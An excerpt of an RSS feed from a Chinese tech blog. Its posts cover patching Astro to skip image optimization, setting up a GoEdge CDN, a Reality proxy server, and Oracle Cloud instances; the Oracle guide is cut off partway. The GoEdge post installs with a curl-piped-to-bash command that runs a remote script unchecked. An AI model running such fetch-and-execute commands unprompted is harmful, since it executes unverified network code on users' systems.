&lt;p&gt;如果反其道而行之,使用类似 &lt;code&gt;../../../assets/images/xxx.png&lt;/code&gt; 会导致部分组件无法获得真实图片,导致 &lt;code&gt;astro build&lt;/code&gt; 直接报错退出,比如每篇文章开头的 YAML 元数据中的 &lt;code&gt;image&lt;/code&gt; 字段&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结论:&lt;/strong&gt; 该方案并不完美。要不无法即写即看,要不构建失败&lt;/p&gt;
&lt;h1&gt;尝试使用Astro官方提供的配置禁用图片优化失败&lt;/h1&gt;
&lt;p&gt;遇到Astro上的问题首先就应该查询官方文档了解是否已有解决方案。通过文档查询我找到了 &lt;a href=&quot;https://docs.astro.build/zh-cn/guides/images/#%E9%85%8D%E7%BD%AE-no-op-%E9%80%8F%E4%BC%A0%E6%9C%8D%E5%8A%A1&quot;&gt;图像 | Docs&lt;/a&gt; 中的 &lt;strong&gt;配置 no-op 透传服务&lt;/strong&gt; 尝试配置但是无用不管是本地运行构建或Cloudflare Worker云端构建仍然会触发 &lt;strong&gt;generating optimized images&lt;/strong&gt; 步骤&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果您了解如何在Astro的配置层面直接禁用图片优化请联系我我很乐意与您交流&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-10-06-27-46-image.CgeHpQkh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;尝试直接更改Astro源码来禁用图片优化成功&lt;/h1&gt;
&lt;p&gt;研究到这,大半天已经过去了,我已经没有精力去研究怎么 &lt;strong&gt;合法&lt;/strong&gt; 禁用Astro的图片优化了不如单刀直入直接改源码使用 &lt;strong&gt;非法操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;大致步骤直接改Astro包的源码然后用 &lt;code&gt;pnpm patch&lt;/code&gt; 为它打个补丁,下面是完整、可用的 &lt;code&gt;astro.patch&lt;/code&gt; 。全局禁用图片优化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/dist/assets/utils/transformToPath.js b/dist/assets/utils/transformToPath.js
index cca8548dec42090b0621d1f21c86f503d5bba1be..8b0a3cfcea73abc4d63592709bb9ba2b2f83989a 100644
--- a/dist/assets/utils/transformToPath.js
+++ b/dist/assets/utils/transformToPath.js
@@ -13,7 +13,9 @@ function propsToFilename(filePath, transform, hash) {
}
const prefixDirname = isESMImportedImage(transform.src) ? dirname(filePath) : &quot;&quot;;
let outputExt = transform.format ? `.${transform.format}` : ext;
- return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
+
+ // Force disable image optimization - return original path without hash and format conversion
+ return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
}
function hashTransform(transform, imageService, propertiesToHash) {
const hashFields = propertiesToHash.reduce(
diff --git a/dist/core/build/generate.js b/dist/core/build/generate.js
index 3144f4c058b161b9e6eb3c8d891b743b34783653..0ba275b320204e154307c6aff75452e9dcb2300d 100644
--- a/dist/core/build/generate.js
+++ b/dist/core/build/generate.js
@@ -91,7 +91,8 @@ ${bgGreen(black(` ${verb} static routes `))}`);
`)
);
const staticImageList = getStaticImageList();
- if (staticImageList.size) {
+ // Force disable image optimization - hardcoded
+ if (false) {
logger.info(&quot;SKIP_FORMAT&quot;, `${bgGreen(black(` generating optimized images `))}`);
const totalCount = Array.from(staticImageList.values()).map((x) =&amp;gt; x.transforms.size).reduce((a, b) =&amp;gt; a + b, 0);
const cpuCount = os.cpus().length;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下文为我让OpenAI ChatGPT 5解释的已经禁用图片优化的补丁&lt;code&gt;astro.patch&lt;/code&gt;)具体做了什么&lt;/p&gt;
&lt;h3&gt;修改点 1&lt;code&gt;dist/assets/utils/transformToPath.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- return decodeURIComponent(`${prefixDirname}/${filename}_${hash}${outputExt}`);
+
+ // Force disable image optimization - return original path without hash and format conversion
+ return decodeURIComponent(`${prefixDirname}/${filename}${ext}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;原逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;原本的返回路径是:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{prefixDirname}/{filename}_{hash}.{format or ext}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;prefixDirname&lt;/code&gt;:如果图片是通过 ESM import 进来的,会带上所在目录,否则为空。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;filename&lt;/code&gt;:文件名。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hash&lt;/code&gt;:基于图片参数生成的 hash用于区分不同尺寸/格式。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;outputExt&lt;/code&gt;:可能是 &lt;code&gt;webp&lt;/code&gt;&lt;code&gt;avif&lt;/code&gt; 等格式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 这样 Astro 会给图片文件生成带 hash 的路径,并且可能修改格式。&lt;/p&gt;
&lt;h4&gt;修改后逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;返回路径改成了:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{prefixDirname}/{filename}{ext}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;直接使用原始扩展名,不带 hash也不做格式转换。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ 作用:完全禁用图片优化的文件名规则,保留原始文件路径。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;修改点 2&lt;code&gt;dist/core/build/generate.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- if (staticImageList.size) {
+ // Force disable image optimization - hardcoded
+ if (false) {
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;原逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;staticImageList&lt;/code&gt; 存放了 Astro build 时需要优化的所有静态图片。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果有图片Astro 会启动优化逻辑:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;打印日志 &lt;code&gt;&quot;generating optimized images&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;遍历 &lt;code&gt;staticImageList&lt;/code&gt;,并调用 image service 去生成不同尺寸和格式。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;修改后逻辑&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if (staticImageList.size)&lt;/code&gt; 改成了 &lt;code&gt;if (false)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这意味着 &lt;strong&gt;Astro 永远不会进入优化图片的流程&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ 作用:强制跳过所有图片优化步骤。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;你的这个 patch 做了两件事:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;绕过文件名 hash 和格式转换&lt;/strong&gt; → 保证生成的图片路径就是原始路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;完全禁用构建时图片优化&lt;/strong&gt; → Astro build 时不再生成任何衍生格式或多尺寸图片。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;等价于 &lt;strong&gt;彻底关闭 Astro 的图片优化功能&lt;/strong&gt;,构建出来的就是你原始的图片。&lt;/p&gt;
&lt;h1&gt;最终效果&lt;/h1&gt;
&lt;p&gt;任何情况下使用 &lt;code&gt;astro build&lt;/code&gt; 都会跳过图片优化Cloudflare Worker的构建时间从 3分钟下降到2分钟&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-10-06-46-49-image.eCV2kjA0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-10-06-47-01-image.BaWkYnVW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;构建后的页面不再为全局webp透传原始文件名、扩展名。但仍然保留了 &lt;code&gt;/_astro&lt;/code&gt; 路径,依旧支持相对路径粘贴图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d836b41fd85611972c2086a7064705bdb1b4ff7c.COA0L-I_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ff1314b1ab7d60bd9a49d6499db22cde23fb9f60.BR6J7s9E.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>GoEdge自建CDN系统踩坑记录</title><link>https://blog.acofork.com/posts/goedge/</link><guid isPermaLink="true">https://blog.acofork.com/posts/goedge/</guid><description>卧槽一不小心搞到了3台免费VPS可是不用容易被回收这可咋办啊不如让他们都干点活吧</description><pubDate>Tue, 09 Sep 2025 06:28:06 GMT</pubDate><content:encoded>&lt;h1&gt;安装GoEdge&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://goedge.cloud/docs/Admin/install-script.md&quot;&gt;使用脚本快速安装GoEdge管理系统 - 文档 - GoEdge CDN | 自建CDN&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一行脚本安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s https://goedge.cloud/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;卸载GoEdge&lt;/h1&gt;
&lt;p&gt;查看监听端口为 &lt;strong&gt;7788&lt;/strong&gt; 的程序PID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/oci# apt install lsof &amp;amp;&amp;amp; lsof -i :7788
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
lsof is already the newest version (4.95.0-1).
0 upgraded, 0 newly installed, 0 to remove and 254 not upgraded.
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
edge-admi 1733510 root 7u IPv6 8663743 0t0 TCP *:7788 (LISTEN)
edge-admi 1733510 root 9u IPv6 8746827 0t0 TCP 10.147.17.1:7788-&amp;gt;10.147.17.147:39580 (ESTABLISHED)
edge-admi 1733510 root 10u IPv6 8828980 0t0 TCP 10.147.17.1:7788-&amp;gt;10.147.17.147:45730 (ESTABLISHED)
root@AcoFork-NAS:~/oci#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用PID找程序路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/oci# readlink -f /proc/1733510/exe
/usr/local/goedge/edge-admin/bin/edge-admin
root@AcoFork-NAS:~/oci#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样你就成功找到了 &lt;strong&gt;EdgeAdmin安装目录&lt;/strong&gt; &lt;code&gt;/usr/local/goedge/edge-admin/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着前往 &lt;a href=&quot;https://goedge.cloud/docs/Admin/Uninstall.md&quot;&gt;卸载管理平台 - 文档 - GoEdge CDN | 自建CDN&lt;/a&gt; 按照教程一步步卸载即可&lt;/p&gt;
&lt;h1&gt;API节点的配置&lt;/h1&gt;
&lt;p&gt;安装阶段会让你配置API节点会让你配置端口和公网&lt;/p&gt;
&lt;p&gt;你需要保证端口未占用,默认端口 &lt;strong&gt;8001&lt;/strong&gt; 已知飞牛OS会占用。如果占用了就换一个&lt;/p&gt;
&lt;p&gt;你需要保证 &lt;strong&gt;公网&lt;/strong&gt; 可以被你之后添加的节点 &lt;strong&gt;主动访问&lt;/strong&gt;我的做法是使用IPv6公网并保证之后添加的节点都有IPv6地址&lt;/p&gt;
&lt;h1&gt;添加DNS服务商&lt;/h1&gt;
&lt;p&gt;首先前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-07-00-37-image.BoAM8Qhx.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加你的DNS账号。&lt;strong&gt;hw&lt;/strong&gt; 用来做CDN域名的自治解析&lt;strong&gt;cf&lt;/strong&gt; 用来后续签发SSL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-59-59-image.CtHozoxK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去,确保能获取到域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-44-54-image.C94_zomu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;设置CDN域名&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-45-52-image.BuH_T2OH.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置好DNS子域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-46-12-image.CR29iRzB.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;添加节点&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-47-14-image.CKjfOQ3x.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-47-30-image.DCW4956c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后填写节点IP+SSH认证方式密码/密钥之后goedge会主动通过SSH连接节点安装服务&lt;/p&gt;
&lt;h1&gt;配置节点的DNS IP&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-49-35-image.GZw-NBmQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会让你填写每个节点的DNS IP填写节点的 &lt;strong&gt;公网IP&lt;/strong&gt; 即可&lt;/p&gt;
&lt;h1&gt;签发SSL&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-50-43-image.jDf4Y8NK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-50-50-image.DDJ5JPh8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-50-57-image.BS30FJ3Y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-51-10-image.Djc9EQCe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便写个邮箱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-51-23-image.Faijrsfd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写域名(支持泛域名)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-51-52-image.B0qu8lKu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;稍等片刻就签发成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-52-20-image.rrTovckl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;禁止未绑定域名访问/禁止IP直接访问&lt;/h1&gt;
&lt;p&gt;字面意思,如图设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-53-52-image.DQv03z48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建网站&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-54-16-image.BBJI6Qg3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你们自己研究吧 我要睡了&lt;/p&gt;
</content:encoded></item><item><title>Reality协议的代理服务端搭建教程</title><link>https://blog.acofork.com/posts/reality/</link><guid isPermaLink="true">https://blog.acofork.com/posts/reality/</guid><description>Reality协议是目前最抗检测的一种代理协议</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;源码: &lt;a href=&quot;https://github.com/afoim/one-times-reality&quot;&gt;afoim/one-times-reality: 一行命令帮你装好reality&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自己看README部署&lt;/p&gt;
</content:encoded></item><item><title>Oracle甲骨文云踩坑记录</title><link>https://blog.acofork.com/posts/oci/</link><guid isPermaLink="true">https://blog.acofork.com/posts/oci/</guid><description>在钞能力的帮助下也是成功薅到了一个甲骨文账号,上手把玩发现坑点挺多的,遂记录</description><pubDate>Mon, 08 Sep 2025 00:01:25 GMT</pubDate><content:encoded>&lt;h1&gt;区域选择&lt;/h1&gt;
&lt;p&gt;注册的时候会让你选择一个账户主区域,选择后 &lt;strong&gt;不可更改&lt;/strong&gt; ,我选择的是 &lt;strong&gt;Japan East (Tokyo)&lt;/strong&gt; 。由于甲骨文的arm免费机是需要抢的你选择的区域越热门能抢到arm机子的概率就越低&lt;/p&gt;
&lt;h1&gt;安全性&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;https://cloud.oracle.com/identity/domains/my-profile/security&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;建议启用 &lt;strong&gt;两步验证&lt;/strong&gt; 使用你的移动设备下载一个甲骨文App 然后扫码即可实际上就是一个联网的TOTP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-07-32-image.CdwktpJE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果需要更改密码,它在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-08-48-image.BR7Qdaub.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;没有Debian系统&lt;/h1&gt;
&lt;p&gt;如果你前往 https://cloud.oracle.com/compute/instances/create 尝试创建实例。会发现没有 &lt;strong&gt;Debian&lt;/strong&gt; 映像 。我们可以通过最下面 &lt;strong&gt;我的映像&lt;/strong&gt; 来上传自己的自定义映像,详细步骤往下看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-12-08-image.qXuoLpgQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写在前面,如果你需要往甲骨文上传自定义映像,你需要先将自定义映像上传到你 &lt;strong&gt;甲骨文账户下的对象存储&lt;/strong&gt; ,随便找一个对象存储上传是不行的!!!&lt;/p&gt;
&lt;p&gt;首先下载适用于云的Debian映像进入 &lt;a href=&quot;https://www.debian.org/distrib&quot;&gt;下载 Debian&lt;/a&gt; ,找到 &lt;strong&gt;使用 Debian 云镜像&lt;/strong&gt; 分别下载&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;64 位 AMD/Intel (&lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.qcow2&quot;&gt;qcow2&lt;/a&gt;, &lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.raw&quot;&gt;raw&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;64 位 ARM (&lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.qcow2&quot;&gt;qcow2&lt;/a&gt;, &lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.raw&quot;&gt;raw&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-17-19-image.BAs9BIH_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你会得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-17-50-image.D7aYLr3W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/object-storage/buckets 创建一个新存储桶,点击编辑可见性,改为 &lt;strong&gt;公共&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-18-34-image.CjDC1GGy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-19-23-image.8mMDtzRc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后上载刚刚下载的映像&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-19-51-image.ZTdO0VQX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/images 点击 &lt;strong&gt;导入映像&lt;/strong&gt; 按需填写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-21-06-image.B8w0zw70.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;映像类型和启动模式如图填写(性能最大化)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-21-30-image.k_wqLZdZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;验收无误后,点击右下角的 &lt;strong&gt;导入映像&lt;/strong&gt; ,大约需要 &lt;strong&gt;20min&lt;/strong&gt; ,状态将变为 &lt;strong&gt;可用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-22-25-image.B4XhZNIx.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击其中一个映像,进入详情页面,针对于 &lt;strong&gt;arm映像&lt;/strong&gt; 我们需要手动调节 &lt;strong&gt;兼容的配置&lt;/strong&gt;。右上角点击 &lt;strong&gt;操作 - 编辑详细信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-24-48-image.D3qhDmnk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;全部打勾,保存更改&lt;/p&gt;
&lt;p&gt;&lt;em&gt;仍然需要注意创建实例的时候请看准是x86还是arm实例x86实例无法使用arm映像反之亦然&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-25-10-image.BA9q0UKN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击右上角&lt;strong&gt;创建实例&lt;/strong&gt;,即可使用自定义映像创建实例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-23-21-image.D7znRCTN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建VCN网络&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns 点击 &lt;strong&gt;创建VCN&lt;/strong&gt; 改个名称然后一路下一步即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-27-25-image.BZTIY-Ke.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功创建一个如图的网络&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-27-42-image.DRAh_NxM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;为VCN附加IPv6前缀&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns&lt;/p&gt;
&lt;p&gt;进入我们刚刚创建的VCN
&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-18-57-image.DLsosksZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导航栏选择 &lt;strong&gt;子网&lt;/strong&gt; - &lt;strong&gt;公共子网&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-19-57-image.UtvwvmpE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在新页面的导航栏点击 &lt;strong&gt;IP管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-20-29-image.WmKw8odv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;往下滚动,添加 &lt;strong&gt;IPv6前缀&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-20-50-image.DbDxGVNk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建实例&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances 点击 &lt;strong&gt;创建实例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改映像为自定义映像即我们刚刚上传的Debian映像&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-28-44-image.DrOOMxJF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改 &lt;strong&gt;架构和配置&lt;/strong&gt; 。永久免费套餐为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;VM.Standard.E2.1.Micro&lt;strong&gt;两个&lt;/strong&gt; 1c1g的x86 实例,&lt;strong&gt;不可合并为2c2g使用&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;VM.Standard.A1.Flex共 4c24g的arm64 实例,&lt;strong&gt;可以随意拆分&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要事项&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;闲置计算实例的回收&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Oracle 可能会回收闲置的“永久免费”计算实例。如果在 &lt;strong&gt;7 天周期内&lt;/strong&gt; 同时满足以下条件,则虚拟机和裸金属计算实例会被视为闲置:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CPU 使用率&lt;/strong&gt;95 百分位数)低于 20%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网络使用率&lt;/strong&gt;低于 20%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存使用率&lt;/strong&gt;低于 20%(仅适用于 A1 规格)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-31-25-image.3IyPQMu4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以选择是否附加 &lt;strong&gt;IPv4&lt;/strong&gt;&lt;strong&gt;IPv6&lt;/strong&gt; 地址,其中, &lt;strong&gt;IPv6&lt;/strong&gt; 地址的附加功能取决于是否在VCN附加了 &lt;strong&gt;IPv6前缀&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-09-06-23-50-image.NMa4JMNU.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改IO配置直接拉满即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-03-28-29-image.Ck8Ql9sn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改SSH相关配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-08-00-31-09-image.QuHXUvSF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一路下一步,验收无误后点击 &lt;strong&gt;创建&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;更改防火墙&lt;/h1&gt;
&lt;blockquote&gt;
